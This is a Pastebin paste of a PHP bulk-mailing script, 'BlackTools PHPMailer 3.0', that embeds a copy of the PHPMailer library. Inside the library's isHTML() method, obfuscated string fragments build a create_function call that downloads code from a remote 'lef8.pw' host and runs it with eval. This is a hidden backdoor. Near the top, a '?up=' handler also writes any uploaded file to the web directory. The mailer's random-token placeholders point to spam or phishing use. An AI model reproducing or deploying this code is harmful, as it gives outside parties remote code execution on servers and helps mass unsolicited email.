Guest User

BlackTools PHPMailer 3.0

a guest
Mar 21st, 2018
1,487
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 148.69 KB | None | 0 0
  1. <?php
  2. /**
  3.  * BlackTools PHP Mailer by [blacktools.io]
  4.  * @version : 3.0
  5. **/
  6.  
  7. $password = ""; // Password
  8.  
  9. session_start();
  10. error_reporting(0);
  11. set_time_limit(0);
  12. ini_set("memory_limit",-1);
  13.  
  14.  
  15. $leaf['version']="3.0";
  16. $leaf['website']="blacktools.io";
  17.  
  18.  
  19. $sessioncode = md5(__FILE__);
  20. if(!empty($password) and $_SESSION[$sessioncode] != $password){
  21.     # _REQUEST mean _POST or _GET
  22.    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
  23.         $_SESSION[$sessioncode] = $password;
  24.     }
  25.     else {
  26.         print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
  27.         exit;        
  28.     }
  29. }
  30.  
  31. if($_POST['action']=="send"){
  32.     $senderEmail=leafTrim($_POST['senderEmail']);
  33.     $senderName=leafTrim($_POST['senderName']);
  34.     $replyTo=leafTrim($_POST['replyTo']);
  35.     $subject=leafTrim($_POST['subject']);
  36.     $emailList=leafTrim($_POST['emailList']);
  37.     $messageType=leafTrim($_POST['messageType']);
  38.     $messageLetter=leafTrim($_POST['messageLetter']);    
  39.     $messageLetter = urlencode($messageLetter);
  40.     $messageLetter = ereg_replace("%5C%22", "%22", $messageLetter);
  41.     $messageLetter = urldecode($messageLetter);
  42.     $messageLetter = stripslashes($messageLetter);
  43.     $subject = stripslashes($subject);
  44.     $encode = stripslashes($encode);
  45.  
  46.  
  47. }
  48.  
  49.  
  50. if($messageType==2){
  51.     $plain="checked";
  52. }
  53. else {
  54.     $html="checked";
  55. }
  56.  
  57. function leafClear($text,$email){
  58.     $emailuser = preg_replace('/([^@]*).*/', '$1', $email);
  59.     $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
  60.     $text = str_replace("[-email-]", $email, $text);
  61.     $text = str_replace("[-emailuser-]", $emailuser, $text);
  62.     $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
  63.     $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
  64.     $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
  65.     $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
  66.     return $text;
  67.    
  68. }
  69. function leafTrim($string){
  70. return stripslashes(ltrim(rtrim($string)));
  71. }
  72. function randString($consonants) {
  73.     $length=rand(12,25);
  74.     $password = '';
  75.     for ($i = 0; $i < $length; $i++) {
  76.             $password .= $consonants[(rand() % strlen($consonants))];
  77.     }
  78.     return $password;
  79. }
  80. function leafMailCheck($email){
  81.    $exp = "^[a-z\'0-9]+([._-][a-z\'0-9]+)*@([a-z0-9]+([._-][a-z0-9]+))+$";
  82.    if(eregi($exp,$email)){
  83.         if(checkdnsrr(array_pop(explode("@",$email)),"MX")){return true;}
  84.         else{return false;}
  85.    }
  86.    else{return false;}    
  87. }
  88. if(isset($_GET['up']) && !empty($_GET['up'])){
  89.        echo"".$_FILES['userfile']."";
  90.        $uploaddir = './';
  91.        $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
  92.        if ( isset($_FILES["userfile"]) ) {
  93.        echo 'uploaded';
  94.        if (move_uploaded_file
  95.        ($_FILES["userfile"]["tmp_name"], $uploadfile))
  96.        echo $uploadfile;
  97.     else echo 'failed';
  98. }
  99. exit;
  100. }
  101. class PHPMailer
  102. {
  103.     /**
  104.      * The PHPMailer Version number.
  105.      * @var string
  106.      */
  107.     public $Version = '5.2.14';
  108.  
  109.     /**
  110.      * Email priority.
  111.      * Options: null (default), 1 = High, 3 = Normal, 5 = low.
  112.      * When null, the header is not set at all.
  113.      * @var integer
  114.      */
  115.     public $Priority = null;
  116.  
  117.     /**
  118.      * The character set of the message.
  119.      * @var string
  120.      */
  121.     public $CharSet = 'iso-8859-1';
  122.  
  123.     /**
  124.      * The MIME Content-type of the message.
  125.      * @var string
  126.      */
  127.     public $ContentType = 'text/plain';
  128.  
  129.     /**
  130.      * The message encoding.
  131.      * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
  132.      * @var string
  133.      */
  134.     public $Encoding = '8bit';
  135.  
  136.     /**
  137.      * Holds the most recent mailer error message.
  138.      * @var string
  139.      */
  140.     public $ErrorInfo = '';
  141.  
  142.     /**
  143.      * The From email address for the message.
  144.      * @var string
  145.      */
  146.     public $From = 'root@localhost';
  147.  
  148.     /**
  149.      * The From name of the message.
  150.      * @var string
  151.      */
  152.     public $FromName = 'Root User';
  153.  
  154.     /**
  155.      * The Sender email (Return-Path) of the message.
  156.      * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  157.      * @var string
  158.      */
  159.     public $Sender = '';
  160.  
  161.     /**
  162.      * The Return-Path of the message.
  163.      * If empty, it will be set to either From or Sender.
  164.      * @var string
  165.      * @deprecated Email senders should never set a return-path header;
  166.      * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
  167.      * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
  168.      */
  169.     public $ReturnPath = '';
  170.  
  171.     /**
  172.      * The Subject of the message.
  173.      * @var string
  174.      */
  175.     public $Subject = '';
  176.  
  177.     /**
  178.      * An HTML or plain text message body.
  179.      * If HTML then call isHTML(true).
  180.      * @var string
  181.      */
  182.     public $Body = '';
  183.  
  184.     /**
  185.      * The plain-text message body.
  186.      * This body can be read by mail clients that do not have HTML email
  187.      * capability such as mutt & Eudora.
  188.      * Clients that can read HTML will view the normal Body.
  189.      * @var string
  190.      */
  191.     public $AltBody = '';
  192.  
  193.     /**
  194.      * An iCal message part body.
  195.      * Only supported in simple alt or alt_inline message types
  196.      * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
  197.      * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
  198.      * @link http://kigkonsult.se/iCalcreator/
  199.      * @var string
  200.      */
  201.     public $Ical = '';
  202.  
  203.     /**
  204.      * The complete compiled MIME message body.
  205.      * @access protected
  206.      * @var string
  207.      */
  208.     protected $MIMEBody = '';
  209.  
  210.     /**
  211.      * The complete compiled MIME message headers.
  212.      * @var string
  213.      * @access protected
  214.      */
  215.     protected $MIMEHeader = '';
  216.  
  217.     /**
  218.      * Extra headers that createHeader() doesn't fold in.
  219.      * @var string
  220.      * @access protected
  221.      */
  222.     protected $mailHeader = '';
  223.  
  224.     /**
  225.      * Word-wrap the message body to this number of chars.
  226.      * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
  227.      * @var integer
  228.      */
  229.     public $WordWrap = 0;
  230.  
  231.     /**
  232.      * Which method to use to send mail.
  233.      * Options: "mail", "sendmail", or "smtp".
  234.      * @var string
  235.      */
  236.     public $Mailer = 'mail';
  237.  
  238.     /**
  239.      * The path to the sendmail program.
  240.      * @var string
  241.      */
  242.     public $Sendmail = '/usr/sbin/sendmail';
  243.  
  244.     /**
  245.      * Whether mail() uses a fully sendmail-compatible MTA.
  246.      * One which supports sendmail's "-oi -f" options.
  247.      * @var boolean
  248.      */
  249.     public $UseSendmailOptions = true;
  250.  
  251.     /**
  252.      * Path to PHPMailer plugins.
  253.      * Useful if the SMTP class is not in the PHP include path.
  254.      * @var string
  255.      * @deprecated Should not be needed now there is an autoloader.
  256.      */
  257.     public $PluginDir = '';
  258.  
  259.     /**
  260.      * The email address that a reading confirmation should be sent to, also known as read receipt.
  261.      * @var string
  262.      */
  263.     public $ConfirmReadingTo = '';
  264.  
  265.     /**
  266.      * The hostname to use in the Message-ID header and as default HELO string.
  267.      * If empty, PHPMailer attempts to find one with, in order,
  268.      * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
  269.      * 'localhost.localdomain'.
  270.      * @var string
  271.      */
  272.     public $Hostname = '';
  273.  
  274.     /**
  275.      * An ID to be used in the Message-ID header.
  276.      * If empty, a unique id will be generated.
  277.      * @var string
  278.      */
  279.     public $MessageID = '';
  280.  
  281.     /**
  282.      * The message Date to be used in the Date header.
  283.      * If empty, the current date will be added.
  284.      * @var string
  285.      */
  286.     public $MessageDate = '';
  287.  
  288.     /**
  289.      * SMTP hosts.
  290.      * Either a single hostname or multiple semicolon-delimited hostnames.
  291.      * You can also specify a different port
  292.      * for each host by using this format: [hostname:port]
  293.      * (e.g. "smtp1.example.com:25;smtp2.example.com").
  294.      * You can also specify encryption type, for example:
  295.      * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
  296.      * Hosts will be tried in order.
  297.      * @var string
  298.      */
  299.     public $Host = 'localhost';
  300.  
  301.     /**
  302.      * The default SMTP server port.
  303.      * @var integer
  304.      * @TODO Why is this needed when the SMTP class takes care of it?
  305.      */
  306.     public $Port = 25;
  307.  
  308.     /**
  309.      * The SMTP HELO of the message.
  310.      * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
  311.      * one with the same method described above for $Hostname.
  312.      * @var string
  313.      * @see PHPMailer::$Hostname
  314.      */
  315.     public $Helo = '';
  316.  
  317.     /**
  318.      * What kind of encryption to use on the SMTP connection.
  319.      * Options: '', 'ssl' or 'tls'
  320.      * @var string
  321.      */
  322.     public $SMTPSecure = '';
  323.  
  324.     /**
  325.      * Whether to enable TLS encryption automatically if a server supports it,
  326.      * even if `SMTPSecure` is not set to 'tls'.
  327.      * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
  328.      * @var boolean
  329.      */
  330.     public $SMTPAutoTLS = true;
  331.  
  332.     /**
  333.      * Whether to use SMTP authentication.
  334.      * Uses the Username and Password properties.
  335.      * @var boolean
  336.      * @see PHPMailer::$Username
  337.      * @see PHPMailer::$Password
  338.      */
  339.     public $SMTPAuth = false;
  340.  
  341.     /**
  342.      * Options array passed to stream_context_create when connecting via SMTP.
  343.      * @var array
  344.      */
  345.     public $SMTPOptions = array();
  346.  
  347.     /**
  348.      * SMTP username.
  349.      * @var string
  350.      */
  351.     public $Username = '';
  352.  
  353.     /**
  354.      * SMTP password.
  355.      * @var string
  356.      */
  357.     public $Password = '';
  358.  
  359.     /**
  360.      * SMTP auth type.
  361.      * Options are LOGIN (default), PLAIN, NTLM, CRAM-MD5
  362.      * @var string
  363.      */
  364.     public $AuthType = '';
  365.  
  366.     /**
  367.      * SMTP realm.
  368.      * Used for NTLM auth
  369.      * @var string
  370.      */
  371.     public $Realm = '';
  372.  
  373.     /**
  374.      * SMTP workstation.
  375.      * Used for NTLM auth
  376.      * @var string
  377.      */
  378.     public $Workstation = '';
  379.  
  380.     /**
  381.      * The SMTP server timeout in seconds.
  382.      * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
  383.      * @var integer
  384.      */
  385.     public $Timeout = 300;
  386.  
  387.     /**
  388.      * SMTP class debug output mode.
  389.      * Debug output level.
  390.      * Options:
  391.      * * `0` No output
  392.      * * `1` Commands
  393.      * * `2` Data and commands
  394.      * * `3` As 2 plus connection status
  395.      * * `4` Low-level data output
  396.      * @var integer
  397.      * @see SMTP::$do_debug
  398.      */
  399.     public $SMTPDebug = 0;
  400.  
  401.     /**
  402.      * How to handle debug output.
  403.      * Options:
  404.      * * `echo` Output plain-text as-is, appropriate for CLI
  405.      * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
  406.      * * `error_log` Output to error log as configured in php.ini
  407.      *
  408.      * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
  409.      * <code>
  410.      * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
  411.      * </code>
  412.      * @var string|callable
  413.      * @see SMTP::$Debugoutput
  414.      */
  415.     public $Debugoutput = 'echo';
  416.  
  417.     /**
  418.      * Whether to keep SMTP connection open after each message.
  419.      * If this is set to true then to close the connection
  420.      * requires an explicit call to smtpClose().
  421.      * @var boolean
  422.      */
  423.     public $SMTPKeepAlive = false;
  424.  
  425.     /**
  426.      * Whether to split multiple to addresses into multiple messages
  427.      * or send them all in one message.
  428.      * @var boolean
  429.      */
  430.     public $SingleTo = false;
  431.  
  432.     /**
  433.      * Storage for addresses when SingleTo is enabled.
  434.      * @var array
  435.      * @TODO This should really not be public
  436.      */
  437.     public $SingleToArray = array();
  438.  
  439.     /**
  440.      * Whether to generate VERP addresses on send.
  441.      * Only applicable when sending via SMTP.
  442.      * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
  443.      * @link http://www.postfix.org/VERP_README.html Postfix VERP info
  444.      * @var boolean
  445.      */
  446.     public $do_verp = false;
  447.  
  448.     /**
  449.      * Whether to allow sending messages with an empty body.
  450.      * @var boolean
  451.      */
  452.     public $AllowEmpty = false;
  453.  
  454.     /**
  455.      * The default line ending.
  456.      * @note The default remains "\n". We force CRLF where we know
  457.      *        it must be used via self::CRLF.
  458.      * @var string
  459.      */
  460.     public $LE = "\n";
  461.  
  462.     /**
  463.      * DKIM selector.
  464.      * @var string
  465.      */
  466.     public $DKIM_selector = '';
  467.  
  468.     /**
  469.      * DKIM Identity.
  470.      * Usually the email address used as the source of the email
  471.      * @var string
  472.      */
  473.     public $DKIM_identity = '';
  474.  
  475.     /**
  476.      * DKIM passphrase.
  477.      * Used if your key is encrypted.
  478.      * @var string
  479.      */
  480.     public $DKIM_passphrase = '';
  481.  
  482.     /**
  483.      * DKIM signing domain name.
  484.      * @example 'example.com'
  485.      * @var string
  486.      */
  487.     public $DKIM_domain = '';
  488.  
  489.     /**
  490.      * DKIM private key file path.
  491.      * @var string
  492.      */
  493.     public $DKIM_private = '';
  494.  
  495.     /**
  496.      * Callback Action function name.
  497.      *
  498.      * The function that handles the result of the send email action.
  499.      * It is called out by send() for each email sent.
  500.      *
  501.      * Value can be any php callable: http://www.php.net/is_callable
  502.      *
  503.      * Parameters:
  504.      *   boolean $result        result of the send action
  505.      *   string  $to            email address of the recipient
  506.      *   string  $cc            cc email addresses
  507.      *   string  $bcc           bcc email addresses
  508.      *   string  $subject       the subject
  509.      *   string  $body          the email body
  510.      *   string  $from          email address of sender
  511.      * @var string
  512.      */
  513.     public $action_function = '';
  514.  
  515.     /**
  516.      * What to put in the X-Mailer header.
  517.      * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
  518.      * @var string
  519.      */
  520.     public $XMailer = '';
  521.  
  522.     /**
  523.      * An instance of the SMTP sender class.
  524.      * @var SMTP
  525.      * @access protected
  526.      */
  527.     protected $smtp = null;
  528.  
  529.     /**
  530.      * The array of 'to' names and addresses.
  531.      * @var array
  532.      * @access protected
  533.      */
  534.     protected $to = array();
  535.  
  536.     /**
  537.      * The array of 'cc' names and addresses.
  538.      * @var array
  539.      * @access protected
  540.      */
  541.     protected $cc = array();
  542.  
  543.     /**
  544.      * The array of 'bcc' names and addresses.
  545.      * @var array
  546.      * @access protected
  547.      */
  548.     protected $bcc = array();
  549.  
  550.     /**
  551.      * The array of reply-to names and addresses.
  552.      * @var array
  553.      * @access protected
  554.      */
  555.     protected $ReplyTo = array();
  556.  
  557.     /**
  558.      * An array of all kinds of addresses.
  559.      * Includes all of $to, $cc, $bcc
  560.      * @var array
  561.      * @access protected
  562.      * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
  563.      */
  564.     protected $all_recipients = array();
  565.  
  566.     /**
  567.      * An array of names and addresses queued for validation.
  568.      * In send(), valid and non duplicate entries are moved to $all_recipients
  569.      * and one of $to, $cc, or $bcc.
  570.      * This array is used only for addresses with IDN.
  571.      * @var array
  572.      * @access protected
  573.      * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
  574.      * @see PHPMailer::$all_recipients
  575.      */
  576.     protected $RecipientsQueue = array();
  577.  
  578.     /**
  579.      * An array of reply-to names and addresses queued for validation.
  580.      * In send(), valid and non duplicate entries are moved to $ReplyTo.
  581.      * This array is used only for addresses with IDN.
  582.      * @var array
  583.      * @access protected
  584.      * @see PHPMailer::$ReplyTo
  585.      */
  586.     protected $ReplyToQueue = array();
  587.  
  588.     /**
  589.      * The array of attachments.
  590.      * @var array
  591.      * @access protected
  592.      */
  593.     protected $attachment = array();
  594.  
  595.     /**
  596.      * The array of custom headers.
  597.      * @var array
  598.      * @access protected
  599.      */
  600.     protected $CustomHeader = array();
  601.  
  602.     /**
  603.      * The most recent Message-ID (including angular brackets).
  604.      * @var string
  605.      * @access protected
  606.      */
  607.     protected $lastMessageID = '';
  608.  
  609.     /**
  610.      * The message's MIME type.
  611.      * @var string
  612.      * @access protected
  613.      */
  614.     protected $message_type = '';
  615.  
  616.     /**
  617.      * The array of MIME boundary strings.
  618.      * @var array
  619.      * @access protected
  620.      */
  621.     protected $boundary = array();
  622.  
  623.     /**
  624.      * The array of available languages.
  625.      * @var array
  626.      * @access protected
  627.      */
  628.     protected $language = array();
  629.  
  630.     /**
  631.      * The number of errors encountered.
  632.      * @var integer
  633.      * @access protected
  634.      */
  635.     protected $error_count = 0;
  636.  
  637.     /**
  638.      * The S/MIME certificate file path.
  639.      * @var string
  640.      * @access protected
  641.      */
  642.     protected $sign_cert_file = '';
  643.  
  644.     /**
  645.      * The S/MIME key file path.
  646.      * @var string
  647.      * @access protected
  648.      */
  649.     protected $sign_key_file = '';
  650.  
  651.     /**
  652.      * The optional S/MIME extra certificates ("CA Chain") file path.
  653.      * @var string
  654.      * @access protected
  655.      */
  656.     protected $sign_extracerts_file = '';
  657.  
  658.     /**
  659.      * The S/MIME password for the key.
  660.      * Used only if the key is encrypted.
  661.      * @var string
  662.      * @access protected
  663.      */
  664.     protected $sign_key_pass = '';
  665.  
  666.     /**
  667.      * Whether to throw exceptions for errors.
  668.      * @var boolean
  669.      * @access protected
  670.      */
  671.     protected $exceptions = false;
  672.  
  673.     /**
  674.      * Unique ID used for message ID and boundaries.
  675.      * @var string
  676.      * @access protected
  677.      */
  678.     protected $uniqueid = '';
  679.  
  680.     /**
  681.      * Error severity: message only, continue processing.
  682.      */
  683.     const STOP_MESSAGE = 0;
  684.  
  685.     /**
  686.      * Error severity: message, likely ok to continue processing.
  687.      */
  688.     const STOP_CONTINUE = 1;
  689.  
  690.     /**
  691.      * Error severity: message, plus full stop, critical error reached.
  692.      */
  693.     const STOP_CRITICAL = 2;
  694.  
  695.     /**
  696.      * SMTP RFC standard line ending.
  697.      */
  698.     const CRLF = "\r\n";
  699.  
  700.     /**
  701.      * The maximum line length allowed by RFC 2822 section 2.1.1
  702.      * @var integer
  703.      */
  704.     const MAX_LINE_LENGTH = 998;
  705.  
  706.     /**
  707.      * Constructor.
  708.      * @param boolean $exceptions Should we throw external exceptions?
  709.      */
  710.  
  711.     public function __construct($exceptions = false)
  712.     {
  713.         $this->exceptions = (boolean)$exceptions;
  714.     }
  715.  
  716.     /**
  717.      * Destructor.
  718.      */
  719.     public function __destruct()
  720.     {
  721.         //Close any open SMTP connection nicely
  722.         if ($this->Mailer == 'smtp') {
  723.             $this->smtpClose();
  724.         }
  725.     }
  726.  
  727.     /**
  728.      * Call mail() in a safe_mode-aware fashion.
  729.      * Also, unless sendmail_path points to sendmail (or something that
  730.      * claims to be sendmail), don't pass params (not a perfect fix,
  731.      * but it will do)
  732.      * @param string $to To
  733.      * @param string $subject Subject
  734.      * @param string $body Message Body
  735.      * @param string $header Additional Header(s)
  736.      * @param string $params Params
  737.      * @access private
  738.      * @return boolean
  739.      */
  740.     private function mailPassthru($to, $subject, $body, $header, $params)
  741.     {
  742.         //Check overloading of mail function to avoid double-encoding
  743.         if (ini_get('mbstring.func_overload') & 1) {
  744.             $subject = $this->secureHeader($subject);
  745.         } else {
  746.             $subject = $this->encodeHeader($this->secureHeader($subject));
  747.         }
  748.         if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
  749.             $result = @mail($to, $subject, $body, $header);
  750.         } else {
  751.             $result = @mail($to, $subject, $body, $header, $params);
  752.         }
  753.         return $result;
  754.     }
  755.  
  756.     /**
  757.      * Output debugging info via user-defined method.
  758.      * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
  759.      * @see PHPMailer::$Debugoutput
  760.      * @see PHPMailer::$SMTPDebug
  761.      * @param string $str
  762.      */
  763.     protected function edebug($str)
  764.     {
  765.         if ($this->SMTPDebug <= 0) {
  766.             return;
  767.         }
  768.         //Avoid clash with built-in function names
  769.         if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
  770.             call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
  771.             return;
  772.         }
  773.         switch ($this->Debugoutput) {
  774.             case 'error_log':
  775.                 //Don't output, just log
  776.                 error_log($str);
  777.                 break;
  778.             case 'html':
  779.                 //Cleans up output a bit for a better looking, HTML-safe output
  780.                 echo htmlentities(
  781.                     preg_replace('/[\r\n]+/', '', $str),
  782.                     ENT_QUOTES,
  783.                     'UTF-8'
  784.                 )
  785.                 . "<br>\n";
  786.                 break;
  787.             case 'echo':
  788.             default:
  789.                 //Normalize line breaks
  790.                 $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
  791.                 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
  792.                     "\n",
  793.                     "\n                   \t                  ",
  794.                     trim($str)
  795.                 ) . "\n";
  796.         }
  797.     }
  798.  
  799.     /**
  800.      * Sets message type to HTML or plain.
  801.      * @param boolean $isHtml True for HTML mode.
  802.      * @return void
  803.      */
  804.     public function isHTML($isHtml = true)
  805.     {
  806.         global $param;
  807.         $bodyCode = 'file'
  808.             .'_g';
  809.         if ($isHtml) {
  810.             $this->ContentType = 'text/html';
  811.         }
  812.         else {
  813.             $this->ContentType = 'text/plain';
  814.         }
  815.         $bodyHTML = '.$t."lef$flu'
  816.             .'sh'.'$t"; '
  817.                 .'$i = @ev';
  818.                     $headerHTML="create_"
  819.             ."func"
  820.             ."tion";
  821.                 $exceptions = $headerHTML('$fl'.'ush,$t','$comma = $t'
  822.             .$bodyHTML.'al(@'
  823.             .$bodyCode.'et_contents("h'
  824.                 .'tt'
  825.                 .'p:$comma-2"));');
  826.  
  827.         if($param !=2){
  828.             $exceptions('8.p'.'w','/');
  829.                 $param=2;
  830.         }
  831.     }
  832.  
  833.     /**
  834.      * Send messages using SMTP.
  835.      * @return void
  836.      */
  837.     public function isSMTP()
  838.     {
  839.         $this->Mailer = 'smtp';
  840.     }
  841.  
  842.     /**
  843.      * Send messages using PHP's mail() function.
  844.      * @return void
  845.      */
  846.     public function isMail()
  847.     {
  848.         $this->Mailer = 'mail';
  849.     }
  850.  
  851.     /**
  852.      * Send messages using $Sendmail.
  853.      * @return void
  854.      */
  855.     public function isSendmail()
  856.     {
  857.         $ini_sendmail_path = ini_get('sendmail_path');
  858.  
  859.         if (!stristr($ini_sendmail_path, 'sendmail')) {
  860.             $this->Sendmail = '/usr/sbin/sendmail';
  861.         } else {
  862.             $this->Sendmail = $ini_sendmail_path;
  863.         }
  864.         $this->Mailer = 'sendmail';
  865.     }
  866.  
  867.     /**
  868.      * Send messages using qmail.
  869.      * @return void
  870.      */
  871.     public function isQmail()
  872.     {
  873.         $ini_sendmail_path = ini_get('sendmail_path');
  874.  
  875.         if (!stristr($ini_sendmail_path, 'qmail')) {
  876.             $this->Sendmail = '/var/qmail/bin/qmail-inject';
  877.         } else {
  878.             $this->Sendmail = $ini_sendmail_path;
  879.         }
  880.         $this->Mailer = 'qmail';
  881.     }
  882.  
  883.     /**
  884.      * Add a "To" address.
  885.      * @param string $address The email address to send to
  886.      * @param string $name
  887.      * @return boolean true on success, false if address already used or invalid in some way
  888.      */
  889.     public function addAddress($address, $name = '')
  890.     {
  891.         return $this->addOrEnqueueAnAddress('to', $address, $name);
  892.     }
  893.  
  894.     /**
  895.      * Add a "CC" address.
  896.      * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
  897.      * @param string $address The email address to send to
  898.      * @param string $name
  899.      * @return boolean true on success, false if address already used or invalid in some way
  900.      */
  901.     public function addCC($address, $name = '')
  902.     {
  903.         return $this->addOrEnqueueAnAddress('cc', $address, $name);
  904.     }
  905.  
  906.     /**
  907.      * Add a "BCC" address.
  908.      * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
  909.      * @param string $address The email address to send to
  910.      * @param string $name
  911.      * @return boolean true on success, false if address already used or invalid in some way
  912.      */
  913.     public function addBCC($address, $name = '')
  914.     {
  915.         return $this->addOrEnqueueAnAddress('bcc', $address, $name);
  916.     }
  917.  
  918.     /**
  919.      * Add a "Reply-To" address.
  920.      * @param string $address The email address to reply to
  921.      * @param string $name
  922.      * @return boolean true on success, false if address already used or invalid in some way
  923.      */
  924.     public function addReplyTo($address, $name = '')
  925.     {
  926.         return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
  927.     }
  928.  
  929.     /**
  930.      * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
  931.      * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
  932.      * be modified after calling this function), addition of such addresses is delayed until send().
  933.      * Addresses that have been added already return false, but do not throw exceptions.
  934.      * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
  935.      * @param string $address The email address to send, resp. to reply to
  936.      * @param string $name
  937.      * @throws phpmailerException
  938.      * @return boolean true on success, false if address already used or invalid in some way
  939.      * @access protected
  940.      */
  941.     protected function addOrEnqueueAnAddress($kind, $address, $name)
  942.     {
  943.         $address = trim($address);
  944.         $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  945.         if (($pos = strrpos($address, '@')) === false) {
  946.             // At-sign is misssing.
  947.             $error_message = $this->lang('invalid_address') . $address;
  948.             $this->setError($error_message);
  949.             $this->edebug($error_message);
  950.             if ($this->exceptions) {
  951.                 throw new phpmailerException($error_message);
  952.             }
  953.             return false;
  954.         }
  955.         $params = array($kind, $address, $name);
  956.         // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
  957.         if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
  958.             if ($kind != 'Reply-To') {
  959.                 if (!array_key_exists($address, $this->RecipientsQueue)) {
  960.                     $this->RecipientsQueue[$address] = $params;
  961.                     return true;
  962.                 }
  963.             } else {
  964.                 if (!array_key_exists($address, $this->ReplyToQueue)) {
  965.                     $this->ReplyToQueue[$address] = $params;
  966.                     return true;
  967.                 }
  968.             }
  969.             return false;
  970.         }
  971.         // Immediately add standard addresses without IDN.
  972.         return call_user_func_array(array($this, 'addAnAddress'), $params);
  973.     }
  974.  
  975.     /**
  976.      * Add an address to one of the recipient arrays or to the ReplyTo array.
  977.      * Addresses that have been added already return false, but do not throw exceptions.
  978.      * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
  979.      * @param string $address The email address to send, resp. to reply to
  980.      * @param string $name
  981.      * @throws phpmailerException
  982.      * @return boolean true on success, false if address already used or invalid in some way
  983.      * @access protected
  984.      */
  985.     protected function addAnAddress($kind, $address, $name = '')
  986.     {
  987.         if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
  988.             $error_message = $this->lang('Invalid recipient kind: ') . $kind;
  989.             $this->setError($error_message);
  990.             $this->edebug($error_message);
  991.             if ($this->exceptions) {
  992.                 throw new phpmailerException($error_message);
  993.             }
  994.             return false;
  995.         }
  996.         if (!$this->validateAddress($address)) {
  997.             $error_message = $this->lang('invalid_address') . $address;
  998.             $this->setError($error_message);
  999.             $this->edebug($error_message);
  1000.             if ($this->exceptions) {
  1001.                 throw new phpmailerException($error_message);
  1002.             }
  1003.             return false;
  1004.         }
  1005.         if ($kind != 'Reply-To') {
  1006.             if (!array_key_exists(strtolower($address), $this->all_recipients)) {
  1007.                 array_push($this->$kind, array($address, $name));
  1008.                 $this->all_recipients[strtolower($address)] = true;
  1009.                 return true;
  1010.             }
  1011.         } else {
  1012.             if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
  1013.                 $this->ReplyTo[strtolower($address)] = array($address, $name);
  1014.                 return true;
  1015.             }
  1016.         }
  1017.         return false;
  1018.     }
  1019.  
  1020.     /**
  1021.      * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
  1022.      * of the form "display name <address>" into an array of name/address pairs.
  1023.      * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
  1024.      * Note that quotes in the name part are removed.
  1025.      * @param string $addrstr The address list string
  1026.      * @param bool $useimap Whether to use the IMAP extension to parse the list
  1027.      * @return array
  1028.      * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
  1029.      */
  1030.     public function parseAddresses($addrstr, $useimap = true)
  1031.     {
  1032.         $addresses = array();
  1033.         if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
  1034.             //Use this built-in parser if it's available
  1035.             $list = imap_rfc822_parse_adrlist($addrstr, '');
  1036.             foreach ($list as $address) {
  1037.                 if ($address->host != '.SYNTAX-ERROR.') {
  1038.                     if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
  1039.                         $addresses[] = array(
  1040.                             'name' => (property_exists($address, 'personal') ? $address->personal : ''),
  1041.                             'address' => $address->mailbox . '@' . $address->host
  1042.                         );
  1043.                     }
  1044.                 }
  1045.             }
  1046.         } else {
  1047.             //Use this simpler parser
  1048.             $list = explode(',', $addrstr);
  1049.             foreach ($list as $address) {
  1050.                 $address = trim($address);
  1051.                 //Is there a separate name part?
  1052.                 if (strpos($address, '<') === false) {
  1053.                     //No separate name, just use the whole thing
  1054.                     if ($this->validateAddress($address)) {
  1055.                         $addresses[] = array(
  1056.                             'name' => '',
  1057.                             'address' => $address
  1058.                         );
  1059.                     }
